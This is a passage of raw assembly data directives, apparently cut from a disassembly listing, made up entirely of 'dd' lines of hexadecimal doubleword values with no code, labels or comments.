		dd 9E1F1454h, 14B4575Ah, 0EF8509BAh, 4824884Dh,	0DBED4474h
		dd 83BF88EFh, 191A05ACh, 93AA2A16h, 0B0204D0Ah,	91BD38A8h
		dd 0CC245376h, 0A670F2D0h, 55FE96C9h, 0A00159E4h, 0DFE365F7h
		dd 4A55E8FFh, 3F2FDA6h,	0F0FEBBDEh, 0E09F8058h,	9BE8A72Eh
		dd 0F51CBC87h, 1D4058B9h, 0EF1E765Ch, 8194776h,	633E5B2Fh
		dd 2DC06506h, 5B2576B7h, 0CC083B9Dh, 0E2909121h, 0C3CBCF3Dh
		dd 40126B7Fh, 0ADE31492h, 0BFDCAB14h, 4649E498h, 0D5F8A3B1h
		dd 206235Fh, 61C59E11h,	57D44117h, 86615E82h, 98D5EFBCh
		dd 3F8629C0h, 10E31757h, 1F9F5674h, 513ED885h, 6E554140h
		dd 0EB93509Ch, 8CA9EF45h, 2788711Ah, 241C3212h,	0CA5ADAD0h
		dd 124310FAh, 0B04843AFh, 0F363C234h, 0B9E4A201h, 0B6EC158Ah
		dd 19668FF7h, 0EAEAC0F6h, 0B730CCE0h, 0F4744E81h, 4C3C91ACh
		dd 1E0B2411h, 53034388h, 2E4D0D2Dh, 56CC8C37h, 0DF4DACAh
		dd 25C6A38Ah, 0A3AB7F2Ah, 9239ED8Ah, 23DF27DEh,	0C63EE03Ah
		dd 6C290A75h, 0AC41D33Eh, 12E3C250h, 0CED80367h, 0E22C12B3h
		dd 0A64F24AAh, 0E2AD48FFh, 129BACB6h, 9BF85A85h, 394C3A3Fh
		dd 5B0D635Dh, 0C825CBAEh, 6CDF5135h, 2ACD28D0h,	0EFA1F628h
		dd 0F9C83EEEh, 0AE4FC0B9h, 0D154830h, 0ACE9CA8Dh, 0E8E78B43h
		dd 92B86AF3h, 0FA61E521h
		dd 0CFFB31EDh, 7896FCC6h, 0CC8BEE5Bh, 0C8C5C953h, 394B4135h
		dd 68CAD037h, 0C90F3AB2h, 0F4E4AC01h, 2ED1CD7Ah, 9B8ECAE2h
		dd 603D9577h, 0B293D808h, 6865EB61h, 0F8D33BF2h, 2DA5F2BEh
		dd 5843BE50h, 0D3B30B94h, 0E5971797h, 0F2FB4E9Ch, 2A102651h
		dd 832BD659h, 23C5647Fh, 17D862Eh, 9431AB5h, 0A7801D64h
		dd 4892C2B8h, 6216262Dh, 0E36121C8h, 19899680h,	0F205EF8Eh
		dd 82BD94E8h, 0EF7BF51h, 3A2F9CF4h, 0D8A41779h,	1196C949h
		dd 0BFC164DFh, 9475C3F1h, 0EED5F40Ah, 13BF6258h, 0F27A03A0h
		dd 3B1FE700h, 5D7A667Ah, 0E046D94Dh, 726CDF78h,	7805F1B7h
		dd 7EF3F7AAh, 0F7D381B0h, 0D9584832h, 647ABEC5h, 797DA700h
		dd 6B022DF2h, 0ACCE5623h, 46AFFD6Dh, 0CA541F75h, 350A04D0h
		dd 28179FA2h, 7E8149CBh, 508242D8h, 92578DADh, 35F8CF12h
		dd 883F71B1h, 564D6F2h,	9A185A85h, 54D496E3h, 0D6171217h
		dd 0FB572330h, 0B24CEF60h, 21820ED8h, 13523290h, 779618ECh
		dd 6B553D2Dh, 0B5B7D56Ah, 7383B927h, 0B4FC600h,	0F5D55079h
		dd 9E8C2935h, 0E6C9B0DCh, 2B23E16Ah, 6838CB35h,	0AA97B224h
		dd 0E97C01EDh, 0E8D4185Bh, 186F8F5Bh, 0A9E8960Fh, 776D37C7h
		dd 0EA01BA48h, 6DEC0AB7h, 281F2145h, 0A3B2AE1Fh, 8C3D6516h
		dd 21BA43A9h, 0DF840C03h, 0AA99291Ch, 562DF6E4h, 0AD1B5A7Ah
		dd 934141ABh, 684E4414h, 91859DFEh, 0F7CACBC9h,	1F583994h
		dd 0F757C7EBh, 54B81567h, 0E430228Bh, 96134D76h, 0E88F4987h
		dd 23EF9135h, 76CCD758h, 0AA82C7FDh, 0C78993BFh, 78AA5CB4h
		dd 863AE92Eh, 0FD4973BDh, 0A6D9EFDBh, 6F4EC826h, 358B005Eh
		dd 76369F00h, 0C24B0693h, 7932F7BDh, 238C009Fh,	0E5360121h
		dd 73F66631h, 32A5E566h, 0E05E7DCFh, 0A3B73DFEh, 9A9543F3h
		dd 30402DCDh, 6C7C4185h, 4C4A842h, 867A5FF6h, 9A501F95h
		dd 37977488h, 0D6DFD686h, 16909434h, 0D7AD6B2Eh, 0CCCA6587h
		dd 33831D16h, 24ED615Fh, 654A910Bh, 7AA7F447h, 38A35022h
		dd 0F4976FC4h, 348516BCh, 0D89CF65Ch, 0DB8A260Eh, 6B33ED61h
		dd 9E16E742h, 2DDDFE02h, 689CDD9Bh, 39EDC030h, 37865BB3h
		dd 22FC00A3h, 61B63A4h,	0FCA73EFFh, 0E6F33164h,	849D03D6h
		dd 0ED4452FDh, 69467C6Fh, 311C7161h, 0DF010711h, 0D270F1CFh
		dd 74408C69h, 660DF8D5h, 3E5A9BDh, 7673006Ah, 24B65671h
		dd 96508BDCh, 9C59D2AEh, 0B40C377h, 7D4A0289h, 0D4A9D935h
		dd 0E5D7A3F7h, 0E5D0260Ah, 0E0782E5Bh, 28288FCAh, 2C6B3F56h
		dd 0B0901BDh, 0B78A9Eh,	39615AD4h, 7BB0696Dh, 0B709C632h
		dd 0B6F2219Ah, 6AC4BCECh, 0BD6860DFh, 0A87BEED0h, 84FB31h
		dd 0ECB91939h, 0E3D6BA65h, 88CC42ACh, 83D72BEAh, 8CED3445h
		dd 292FF36h, 0E58F761Ah, 0E48EE4F7h, 0A28D752Eh, 0C8B8F406h
		dd 0E6AAF4EFh, 0AAE40406h, 8640CFC5h, 0CDF530Eh, 15413C86h
		dd 373EE572h, 0BD4C7BE5h, 0CB5F5225h, 1377CBF8h, 0DC93F7DBh
		dd 0B4724985h, 6D3854C4h, 683B073Ch, 895A7BE7h,	3A12FB08h
		dd 9C3A2063h, 0A2E37CD3h, 0D3AF4539h, 1E13A9A8h, 5A599F66h
		dd 0E5067504h, 0E4853115h, 0B12781D0h, 471A5330h, 5A7AB72Eh
		dd 20F9D45Ch, 0C7BA595h, 0DB60F483h, 0C03915B3h, 53EC01C5h
		dd 283C7E1Eh, 1B774C7h,	7AA3B860h, 0B985FDABh, 0E2E4BC9Bh
		dd 26EFC503h, 0BB3C4C4Ch, 0D560B35Dh, 3D0D13FCh, 0EAE77930h
		dd 79D89A50h, 0AB7AC1Bh, 9AA349Bh, 1C46AAC5h, 3DC8A33Ch
		dd 2783047h, 0D29E9594h, 0DB92055Bh, 0F8A231DCh, 0B83A2ABEh
		dd 60CD50D1h, 2979346Ah, 738EA8E1h, 0EA42AA32h,	7D1BD594h
		dd 993AB859h, 0E120314Ah, 1CCBF171h, 0F9CD93A5h, 0FF472E2h
		dd 771B7784h, 87B79C76h, 10BE092Ah, 241B51A3h, 84FC3425h
		dd 108F769Bh, 2154253Ch, 0E9FF1615h, 52734C9Bh,	16666691h
		dd 0A6726BA3h, 6A0DF8B5h, 0E2D03BDFh, 484FDEAFh, 10036A58h
		dd 4BC1627Eh, 4FF042ADh, 36A4A142h, 0CD1D8650h,	417C226Bh
		dd 0D6F2D401h, 6037B136h, 659BB77Ch, 0D87D5CE3h, 6BEA874Bh
		dd 7BE3B4E0h, 57C65AA8h, 0A132AD31h, 7655F6Dh, 908F0B34h
		dd 140470B6h, 79C249C4h, 0AC37825Fh, 228F4876h,	20E80B5Bh
		dd 0D28D43D0h, 0A406AEC1h, 0F1956681h, 36102BEFh, 0D722FA33h
		dd 0A4E4D1C2h, 0B15E52BEh, 708E015h, 0D2114F61h, 0FCB11C30h
		dd 0B64BE6F5h, 20C9AE8Eh, 6F88FBC2h, 8ABE7C69h,	0D31B3E47h
		dd 5CE61659h, 11F239DDh, 3D966307h, 615A88BDh, 9D8061F4h
		dd 2B8266BEh, 0E8BFE78h, 787CB050h, 578E7282h, 0FAC124CDh
		dd 0C48C5C7Eh, 0FDFAFA00h, 0E2CD8F13h, 0F8C8EA16h, 9E2D2431h
		dd 0AF1EF778h, 25B08D9Fh, 9B3CE136h, 0CF4B2F6Fh, 2CE808ECh
		dd 697ECC82h, 0B9D19B2Fh, 8E5A901Ch, 89F33A84h,	0CF5442CFh
		dd 0FDBAFA41h, 5A3002Eh, 57E4A1CAh, 7663863Fh, 4FB34F5Ah
		dd 772EB6A8h, 5A7F1DD0h, 0FBEC7FF7h, 0CDBC253Bh, 9AD6C857h
		dd 0B6FB0B4h, 24B666A0h, 6D5F0D6Bh, 0E58078D3h,	4E696896h
		dd 863DD1E3h, 3873BFFEh, 55A8D785h, 0C56C74B7h,	8C61032Ah
		dd 0DA4EED04h, 8F1ED8AEh, 0FAEB9023h, 0E549E4CBh, 57E97120h
		dd 668F54C3h, 7FBA1BA0h, 73D53E49h, 80D5BDB0h, 0F571EDF7h
		dd 1F41A756h, 0CACDF68Ch, 739BC0B0h, 5B7F4CF4h,	7492C625h
		dd 0EF5D7B54h, 1E43D2A6h, 1AF20D4Fh, 8B6795Ah, 2D332956h
		dd 0A956A33Bh, 636E5B08h, 175FEF4Dh, 0E0722AB7h, 590A1DE6h
		dd 6ED59D0Bh, 3200E284h, 0E4B307B8h, 0ADA55E85h, 1B9A2C7Bh
		dd 0C670E6A0h, 0BA1D2F1Ah, 87203B3Eh, 44B4A163h, 423223FCh
		dd 1E1F77Ah, 0E63C6778h, 1993580Bh, 0C12FEBA5h,	4D6C6457h
		dd 271F3E9Fh, 65ACB415h, 0C8FAAF8Dh, 0C2174D99h, 15444829h
		dd 0AEA66BF0h, 0E3EAFB0Fh, 290CDCE0h, 9195AD2Bh, 9E869530h
		dd 0B3E79CCBh, 8FC91C7Dh, 0FD2B867Ah, 64F884CFh, 0C701AE2Ah
		dd 0AB3ABD0Eh, 0AD8A5E7Bh, 7C270796h, 6390A46h,	8FCF5B5Eh
		dd 0AF95C405h, 6DECB3DAh, 8B0FBEB6h, 0E0CDD09Dh, 7977D463h
		dd 1AC4832h, 0B8D6CD3h,	63B2647Ch, 0A813A033h, 0E0A1EFF5h
		dd 0B21A0F1h, 0DF8E0113h, 36678421h, 1340C158h,	0A3A14AB9h
		dd 0B25660ACh, 4C6929DDh, 2C39EE6h, 310C83DBh, 3E7DB8h
		dd 723F7C46h, 0A4C28585h, 6610D6B8h, 71A35B06h,	2CBF6EE8h
		dd 96CE862Eh, 0B82C52D6h, 0D37A4792h, 9354E517h, 2885C810h
		dd 8B036CD7h, 0C4DA12FFh, 0EC0DCBA1h, 0AA445D21h, 86E63674h
		dd 75360434h, 0E57EEC25h, 7F9CC923h, 660F39DCh,	8B1EEDAh
		dd 7BC074C9h, 3E49BF80h, 258FEBE1h, 0AEC83DB2h,	173657E4h
		dd 6DD73FCh, 7ED6C4DEh,	6B3F2E22h, 13F878E0h, 2AE13994h
		dd 18A119EBh, 5FA43554h, 0EF638885h, 9D4A27DEh,	443303FFh
		dd 832E9BB8h, 4F3047C5h, 0A045C24Ah, 23972BF5h,	7E9F9370h
		dd 98F3A9FBh, 70862A11h, 0DE26092Eh, 37C2AB30h,	0C156663Ah
		dd 9FC8CC20h, 5A27E2FCh, 6BFC2DD1h, 4F1A7FE3h, 0B2AF7E15h
		dd 0D81E631h, 2374EF9Fh, 178D71ABh, 0F51B633Bh,	0C3335F5Dh
		dd 2204ED17h, 70C3BFF4h, 36538093h, 0EAA01F42h,	2B3FDB92h
		dd 5C15C2BCh, 7633792Bh, 3CF75178h, 9EF984FFh, 1A1F1B33h
		dd 33C44E32h, 236F93DEh, 496A7Ah, 7455C956h, 68C1AD1Ch
		dd 4B480B80h, 0CD19E662h, 1E0A9EADh, 8B099698h,	0A4F8AD9Eh
		dd 6F2E2CDh, 0E050A3A1h, 0DC1D29E5h, 14132BA6h,	0F5918EA1h
		dd 0AFBD8E26h, 0D591DDD0h
		dd 83256AD3h, 0E4AA684Dh, 26699FD7h, 0BF549B1Ch, 0E8BA5C8Ch
		dd 8F30A757h, 2D2C4FB6h, 9758DF5Bh, 0CE675F0h, 73A9D70Ch
		dd 0A7D91F2Fh, 0BFE770CAh, 55007A26h, 8ECB5AFh,	16570E9Eh
		dd 2CA0D5BDh, 0EC12D99Eh, 0C2C3BEF2h, 4955A36Fh, 4F82A10Eh
		dd 0F28C5EBDh, 505CBD4h, 168F138Fh, 93AB6724h, 92D72450h
		dd 3A42B8AAh, 0A7200823h, 2E3B0D45h, 0DC02CE92h, 0D411DC58h
		dd 0C0E7CB41h, 0ECB7E699h, 735DC917h, 569203B5h, 55EF5D53h
		dd 0DCCC96CBh, 0C170151Ah, 310F7DBBh, 0B8B9719Fh, 1E322238h
		dd 78689ADAh, 0DC14846Ch, 0C08B6366h, 453D7DE0h, 405B214Bh
		dd 0F6FA35D5h, 3664926Fh, 4F992B4Eh, 0BEA87F40h, 69A71Bh
		dd 1D370872h, 7010226h,	0D5337694h, 22F9A8C5h, 128E8E92h
		dd 0B0B1976Bh, 9B7E484Ch, 0C0668217h, 2DA9ABh, 0BFB97BE6h
		dd 0C4EBA683h, 0EFFE8EF0h, 0A2C1FE89h, 570D8A4Ah, 0F56C614Ah
		dd 997ECFCFh, 4BA1B50Ch, 67E8CF3Eh, 400F6557h, 8DA174EEh
		dd 0B1FABF92h, 4937DCCDh, 165EE1D4h, 0DDE71211h, 35D94483h
		dd 0F9072C8Ch, 20EC07FCh, 6D21E574h, 530D5892h,	2B6DF653h
		dd 0F5AECCAEh, 0B599B04Dh, 1A171B01h, 875EF5FEh, 0A01027AAh
		dd 0DCD4EF4Dh, 0AF3CD03Fh, 46A0F7Ch, 0EB892B86h, 4E0E54D8h
		dd 54DE57E3h, 7062D427h, 66C1CF7h, 5103A1D1h, 0A6B523E6h
		dd 0B290BD65h, 66AB2242h, 1FF6B7C1h, 372C963Ch,	4EDF8D2Ch
		dd 4B1D9805h, 0CAF881BCh, 838F033Eh, 0DA72F212h, 0AD449D81h
		dd 71544BB2h, 48A1E26Ah, 3C9107CCh, 0A33EDC9Bh,	0FCEC7B6Bh
		dd 0CF48BE9Fh, 2FFFDEBAh, 0A27B2CAAh, 6AED0BDBh, 5BC61A14h
		dd 64486B55h, 3EC100E9h, 0EDFA7A5Bh, 31CC100Ah,	2AA5F5C2h
		dd 409DF3DFh, 0CBC4A237h, 397144ACh, 2E7B07D1h,	12F852AEh
		dd 30EA2889h, 5519DDD9h, 22A741E3h, 53998EA3h, 1BFD3E3Bh
		dd 5F03B329h, 0F693092Eh, 0E3C4656Dh, 39C8DEDh,	0E58873A2h
		dd 0B843D060h, 6EA465B4h, 7B1CC7D2h, 71768F26h,	0AC91BFh
		dd 0FBC0EE15h, 0CA4BE88h, 0E74DC25Ch, 0C0333859h, 1BA396B8h
		dd 0B45755D3h, 0D3FF92B0h, 89BF1D64h, 820D66A5h, 9C1202A0h
		dd 37AD0840h, 9B7A91C0h, 44D45BC3h, 7AC32984h, 2ADB86FCh
		dd 0AE65F58Ch, 0ECC3331Bh, 64331B87h, 5D36B34Dh, 88C7093Ch
		dd 0BB690A81h, 562B1347h, 2E8424A7h, 7B6E3DCBh,	35F16045h
		dd 4A32C597h, 3E99074h,	1CCF8A0Ch, 0FA95D004h, 0BCA5BFB6h
		dd 25B6396Bh, 0F89E91D8h, 0DAE4480Ch, 0F9EE17CFh, 0BE7CC97Eh
		dd 0BEBDAAEDh, 9BC7A28Ah, 0EBE40FB6h, 84DFEFCBh, 0F8A5CF0Ah
		dd 0B96E91Eh, 0FFFA4972h, 0C25776C9h, 0E027D1C0h, 0E50F358h
		dd 5CE016A6h, 6E8CD3E3h, 0F79B6C56h, 31A807D6h,	5AE2682h
		dd 4B4949Eh, 20A3F69Ch,	0E9A74389h, 63CB4D6Ah, 16CDDA9Eh
		dd 4714C353h, 779938FAh, 0C3FEED53h, 0EAB48ED2h, 712B1789h
		dd 0AAFBAD1h, 0BE51EE0Fh, 178087E1h, 51C6267Fh,	1E6D2B18h
		dd 0CBA1FEC1h, 36A21CFCh, 30A74161h, 0D993A599h, 0A91970D7h
		dd 0FD04B0E4h, 82885CB8h, 453D3C6Dh, 5DBE81D6h,	864B9473h
		dd 0D70CE06Dh, 0BB21A3E0h, 0AA9CF2A9h, 74DD9930h, 77ACB6FDh
		dd 0AC01721h, 3E6300D6h, 0C0214233h, 89FD8A2Bh,	0A68E65A7h
		dd 0E3316A7Ah, 0A94B22E7h, 257465C2h, 4E965F6Ch, 0DE9BFF00h
		dd 2FF91923h, 7E00DAF1h, 442E4AA9h, 0E2A24CA6h,	0EC521BF6h
		dd 5C52C53Fh, 0C876529Bh, 5A515A76h, 72C120A6h,	0ADDFD07Fh
		dd 6D6E03Ch, 0A7C0BDCBh, 982906F7h, 0D264FC96h,	68734EA7h
		dd 6DCD32C8h, 1D9A7DA0h, 16466B56h, 40BCFCC6h, 0A1C2098Ch
		dd 921A6906h, 7201DC17h, 48B46004h, 0A290988Ah,	0ABC0338Ah
		dd 0AE566084h, 9A5D904Eh, 98400325h, 0AF4B99C4h, 0B774E7EEh
		dd 6F56867Fh, 0ADD49CC9h, 5A470854h, 71BA0252h,	0C4A6611Eh
		dd 0C5894D79h, 2BF5C03Eh, 0B4F90FD4h, 6B88A251h, 0E1DC97Ah
		dd 260F0C1Ah, 829401DEh, 29203553h, 0CD87D223h,	0E7F99803h
		dd 3D7E01A4h, 0C2189AD5h, 11088775h, 80F8CFB6h,	0B5101F78h
		dd 0C00ACAFh, 0D02573BEh, 0F764F654h, 39D1E0A5h, 0EEA57D5Bh
		dd 5FA8CD11h, 236B1374h, 0B314913Ah, 0AF0A5CCFh, 0CD3097F8h
		dd 0FC5D882Ah, 0B817678Ah, 5694109Ah, 3A30BA30h, 403EA756h
		dd 0E69F104Ch, 0CBB7DF0h, 31B3B3E1h, 2F35B7A6h,	333D187Fh
		dd 8E6CF03Fh, 7D1E63B6h, 844EA866h, 75411939h, 1E949A11h
		dd 0BE14B041h, 0D9717366h, 339BA269h, 3C6CAA9Dh, 0B020DF6Fh
		dd 4BB69794h, 78534BAAh, 0A610DBD3h, 28E562FCh,	47DCF72h
		dd 0D5F51E4Ch, 0F9E6051Ch, 9BAADE2Ch, 8C1A6710h, 3A4534D3h
		dd 0EDBF2030h, 97AD3740h, 7972A2BEh, 9F927CFCh,	21EF6EADh
		dd 9D0AB8E2h, 1F6BFFB8h, 7224277h, 46E9DABh, 0EF04FEA5h
		dd 81B3AF3Ch, 0BE86F71Ah, 38F33F33h, 7E0B656Bh,	833812F8h
		dd 0A37151C8h, 0D48DA4D1h, 3838BFD4h, 0C8D1E51Fh, 8EB0748Ah
		dd 0DD7E9B1Bh, 9A105182h, 30824B13h, 0F8DDC77Fh, 6A2EB8DBh
		dd 500B98B4h, 0FE35B92Dh, 0A144C382h, 2117686Fh, 4FF6A2F4h
		dd 0A534E307h, 98F0920Ch, 294750C5h, 12136D4Bh,	1855EA24h
		dd 0EDEFAB4Bh, 325315F2h, 7CC32870h, 481ADEC0h,	0A69A04F3h
		dd 8263790Dh, 2185013h,	0F0F2FF7Fh, 13022C65h, 65D7F52h
		dd 0AE993913h, 0DB5DF020h, 11572A44h, 7C1A965Dh, 98905254h
		dd 6C20E6DDh, 5BFFBF27h, 0EC8D843Ah, 8A5E5764h,	0D35461F0h
		dd 9D1CEEAh, 7BFEE694h,	47860060h, 0FF132FB6h, 0E10469F6h
		dd 8731492Ch, 69593A3Bh, 0F18F1BD2h, 0AC76215Fh, 2E978926h
		dd 9B21834h, 731AC094h,	5BAB6246h, 5A929CBCh, 8079998Ch
		dd 8A5DA3C7h, 4622E23Dh, 0A5B3A02Dh, 16D4C9BBh,	402FCA80h
		dd 0EF95E39Eh, 9E6B930Ah, 0EE5C2600h, 0E766C045h, 4EAD6464h
		dd 0D4EC9D82h, 0ECB1FCAEh, 1DFDBD68h, 0A7A182FEh, 11AB3DC8h
		dd 972FE891h, 6B248EE3h, 3358A786h, 3F337461h, 620CCBD6h
		dd 84FD0FBh, 6FD5A161h,	4CA40540h, 0E28479D4h, 994D0EE6h
		dd 0DB9A5B62h, 0F25D89F9h, 984E7F07h, 30AD66FDh, 0BD4472C7h
		dd 4F79E7DAh, 413D7C17h, 54864C5Ch, 0C2D53D60h,	8B57CA40h
		dd 83E7143h, 3993CA32h,	20EB9BBBh, 0E322BAD6h, 9F4D7DA0h
		dd 4FCA0F84h, 1F88B859h, 0B24D93B4h, 63485619h,	85FDB778h
		dd 0E535C381h, 0BC27E688h, 0CE1ADB1Fh, 0F21A8444h, 0EE6ED63h
		dd 75E25118h, 4DAFFBC8h, 163803B3h, 3F457802h, 2F06B8D3h
		dd 68A55845h, 2D4F8DFAh, 2CA8CC24h, 8CCAB801h, 0C7481DAEh
		dd 4B53C091h, 4B603B55h, 78810078h, 6E36F44Dh, 8D1A9C4Ch
		dd 7BEB0495h, 6350442Dh, 231B5572h, 2A408CAh, 11707DAEh
		dd 7D12E133h, 25BF46C4h, 992EB261h, 2F6248B3h, 678F435h
		dd 5160A98Dh, 91308442h, 0F96D960Eh, 0ABEF8317h, 817BB379h
		dd 4D623F3Dh, 0CCB00533h, 972C4637h, 57F43404h,	34EB3EF9h
		dd 0D24E2657h, 0EFC56743h, 15FCC901h, 7320C604h, 4D322E71h
		dd 0D2E9E0A3h, 6432367Eh, 0B85AF007h, 87D56AF1h, 0D11AA8F8h
		dd 4A8527BDh, 0B0AF23ABh, 0F05115C3h, 562BF7B1h, 8092939Fh
		dd 930BB8C9h, 7A0E4CB5h, 0EF21C03Eh, 0EB887B51h, 0E69E4BF7h
		dd 1BCF055Ah, 0A07DB054h, 0D62A4596h, 577F18Dh,	2ABD488Dh
		dd 0AF1C040Fh, 0B8368DBh, 0F9653C58h, 0B39173E4h, 5723F43Ah
		dd 63E0C05Fh, 2B189F4Dh, 7BAA8043h, 0B6A9B1Bh, 0F330F2B1h
		dd 0D486A7DCh, 166E16A5h
		dd 0E3BE4198h, 673F91A4h, 969C1C23h, 3EFC0BD4h,	819CD46Dh
		dd 214557F6h, 8DEBE870h, 0CD7819C2h, 1EF04EF2h,	8DDC6F3h
		dd 0CB0007F3h, 0D1783B1Eh, 4F17ACF4h, 15C11B6Fh, 8BB8AE47h
		dd 0E5FB39A6h, 9AB649D8h, 6B481108h, 93426DCEh,	0F5665C55h
		dd 0C956696Ah, 13E045E4h, 85EBD810h, 1108DA0Ah,	0A0C614F9h
		dd 52C163FFh, 0D91A90Fh, 0E6F44C59h, 456E5DCEh,	0ED0FEBB4h
		dd 67EE4928h, 27FE4404h, 2CF623CEh, 0AE09E5C6h,	0A523EC12h
		dd 0DB9B1923h, 7F06B8D0h, 964D46Fh, 0FB269EBBh,	0A8299D10h
		dd 0E032E132h, 0F27E9479h, 24FD59C5h, 7458F085h, 0B9957A4Fh
		dd 0CF6803Fh, 0D12AA79Eh, 97AB505Bh, 46AB167h, 44490C82h
		dd 0B7B9AA61h, 5BD843E1h, 737E415Dh, 638F55C0h,	0D70ECC3Ch
		dd 3688B228h, 0E2CFF99Ch, 0A60980DFh, 9815BC5Ah, 5EB0E314h
		dd 6152E6EAh, 5129E157h, 0B5B066F0h, 36B45F1h, 6F16EEBCh
		dd 0A3127702h, 0DB4C68B1h, 1B7EA40Dh, 0CFB73BFBh, 371A08B4h
		dd 69CCB350h, 3D3BF5DFh, 0D2F09EC5h, 0A28EEC66h, 0ACB11D74h
		dd 0D2574977h, 43491922h, 1A1FF42Fh, 0C04B8073h, 46C73918h
		dd 0FF21D56Eh, 460C82B9h, 39A75741h, 417CB9C8h,	0CA9920BDh
		dd 0D9A76A26h, 0F86BCAE5h, 0F170C374h, 44DE3EB9h, 437B9FC0h
		dd 25FC87EFh, 6AA49BE9h, 8042DE5Ah, 69E6C970h, 0BA00FF5Ch
		dd 34C22FF6h, 0FDB528C8h, 0A76FFB0Bh, 0F0C47CEBh, 2402D17h
		dd 0C142FBD5h, 54CEB8F0h, 4584E834h, 90CA3D1Eh,	0BF7D7AD8h
		dd 3EC48491h, 0B035E162h, 0EB24BBD2h, 35828503h, 0D2BE2CFAh
		dd 0D21A5D4Fh, 36507728h, 8A670341h, 85CEDBE7h,	0FA203AD0h
		dd 0D4751EF6h, 752B6785h, 0F3BA438h, 849CE2Ch, 24BC32CBh
		dd 0EB0AB04Dh, 85FB5D28h, 0D0391E5Dh, 293B8ADEh, 6500D34Dh
		dd 0F2CD14BDh, 446871B1h, 0CC565399h, 2281673Ah, 6A6F3A3Eh
		dd 29937B81h, 3F2DD1CFh, 0B8D2AA55h, 821D503h, 74C71A91h
		dd 0F0BDA4ADh, 0F4F007FBh, 0D9FA4BF8h, 6E792B0Bh, 4A188D43h
		dd 6B106BF6h, 60A8957Dh, 439F481Eh, 773A71FDh, 0F07A7EE1h
		dd 73DB15FFh, 11A1A096h, 0DA8FB2BAh, 0D2A9FBB2h, 8EA4EB30h
		dd 86422ACAh, 0B5E1CD48h, 0BB31F81h, 612EF552h,	0B4625C72h
		dd 0A7C972F6h, 5FB402h,	0FD49D518h, 52C10A19h, 0D883890h
		dd 0CD4846ACh, 9997CBF7h, 3BE64A4Ah, 8E71F0B2h,	0B597C507h
		dd 4DF6A91Eh, 0CC279BDAh, 108D2BD9h, 0E84D6FC5h, 56D01740h
		dd 3B599E48h, 0BD1B7BC1h, 4F9ACD5Bh, 866320E3h,	0FCE39A99h
		dd 0D9FBC92h, 0AA7C576Ch, 0BEAC61FAh, 9A03D43Ah, 7F31C2F4h
		dd 0BB0C40ECh, 0DC68FB28h, 0FFE6E3E1h, 0FBCD2AB1h, 0F60E63ABh
		dd 9D37AB37h, 349E96D7h, 0C8FFA10Fh, 92E07FD7h,	7946B977h
		dd 54E8484Bh, 77B27432h, 841B561Fh, 0F187F729h,	0FF8A03FAh
		dd 96618CA7h, 0F849D60h, 795616ECh, 0F512D6CDh,	828451C7h
		dd 127A0D73h, 0C41A70A6h, 0FC149DFDh, 48CA3DB9h, 1BE93FBCh
		dd 0F253A64Eh, 64533D21h, 59259F6Bh, 5B7D4107h,	8B0A30D4h
		dd 6DCB60DEh, 0C1AEAD2Bh, 3FD107DAh, 6C94711Bh,	6E393F3Fh
		dd 5DB74478h, 9B4A0962h, 2FAFB5DCh, 8AD6185Ch, 64144AC7h
		dd 68FBB77Fh, 55A7EBh, 93F424A5h, 91E70D8Dh, 5395F66Fh
		dd 0AB6FBB68h, 90669425h, 0E8E77E05h, 7BD2FB53h, 0EAF18EB1h
		dd 81DBA603h, 0F3ED9896h, 5DC67A35h, 0D668ED05h, 5C7B7CD3h
		dd 14F8D0B5h, 948DB1A1h, 1B4ACF51h, 2C60A491h, 557376D7h
		dd 0AFECCC84h, 0DB70BEA4h, 5F467A01h, 0E97EA6EBh, 0C8723851h
		dd 0E113639h, 0A92071A9h, 8B6EBE2Bh, 28F23FEh, 7380120Ch
		dd 14364A71h, 66A7BE11h, 0CAE39459h, 5C51A0BAh,	0EA2CD2A4h
		dd 26F86F72h, 843A8344h, 0B60A5E0Dh, 257FA2DAh,	82254D82h
		dd 0B3AB2A0Bh, 226D3147h, 4798F93Ah, 0BC09D2DCh, 0B6AD19B3h
		dd 3A258E4Bh, 0C1000243h, 923C5ACAh, 0F2E762A5h, 0E7E04556h
		dd 1EDBA3E2h, 5AF32E63h, 0A570F54Ch, 6007CD72h,	5A2A5ABBh
		dd 4A6B6085h, 3A76EDC7h, 0A51C5CA4h, 9C85A282h,	0FDAA784Eh
		dd 3122244Bh, 0DF71C845h, 9BF143E8h, 7EEEDFC8h,	1D9871BDh
		dd 0C9A7FD70h, 76A1B4F4h, 675E4790h, 0C5BDFADAh, 63041907h
		dd 6DECA1A0h, 0D59A2F7Ch, 0E6E7E9D9h, 13CBB1BAh, 0C56F4F7h
		dd 30ABCD42h, 74B9BC3Dh, 533F2DB0h, 0E66860FDh,	0FFD6DA57h
		dd 82ECAD6Dh, 0A6241B4Dh, 0CF66D432h, 84F84B41h, 9C7522FBh
		dd 0A40E728Bh, 3A0D3C61h, 0E0179E86h, 46628EEFh, 2D369356h
		dd 0A7775138h, 0EA2D0B92h, 0FBE0A7Eh, 8DFE553Bh, 4F85C608h
		dd 0D1342DF4h, 0E5D6F731h, 7A10CE16h, 7FD1580Eh, 785A023Fh
		dd 7BD38588h, 70C23EFCh, 3E996FA7h, 2F765450h, 0AC247033h
		dd 0E7926067h, 0EA1D0353h, 0F6C78679h, 71CD4CA0h, 422EE05Fh
		dd 0BF12C4C9h, 72AF42F5h, 6C63F2EAh, 9031B252h,	0A1176BBAh
		dd 0D97B1DAFh, 86BD5C3h, 4F61C958h, 0C9401C57h,	58476FEAh
		dd 5839B01Bh, 0CC981443h, 0BC8E002Eh, 0C72F1E8Ch, 3F9810BEh
		dd 213363E6h, 35144F8Ah, 7E0F62DDh, 236CF26Dh, 8C6364h
		dd 7C134AEDh, 0C630DA33h, 0FAFEED3Fh, 6C5E9CC1h, 0CFAB68BFh
		dd 3865D67h, 92D5C779h,	3B0D9B6Ah, 1643E234h, 221A4C6Bh
		dd 0DCBF9AECh, 81A5CAD3h, 3B00290Eh, 3E861B18h,	0FE82AD1Bh
		dd 479FE363h, 9CFF970Dh, 7CDEF1DAh, 2298B2B3h, 4E698367h
		dd 6064002Dh, 12BC828Ch, 34B01AF6h, 0A11F6805h,	782C969Dh
		dd 0B1721B88h, 0DAC05DBCh, 51D71A3Fh, 75DB0D5Dh, 405CC5E8h
		dd 83B61BAFh, 3F25A9C7h, 0CFC32547h, 0B2FC86B4h, 52D263E1h
		dd 343D8DEFh, 0DFF7CA60h, 0CF606BBCh, 0B56EA5B9h, 0ED1BDF58h
		dd 2CBEB5F0h, 7CEFE582h, 0BC8CFA8Dh, 82416B7Ah,	644567F9h
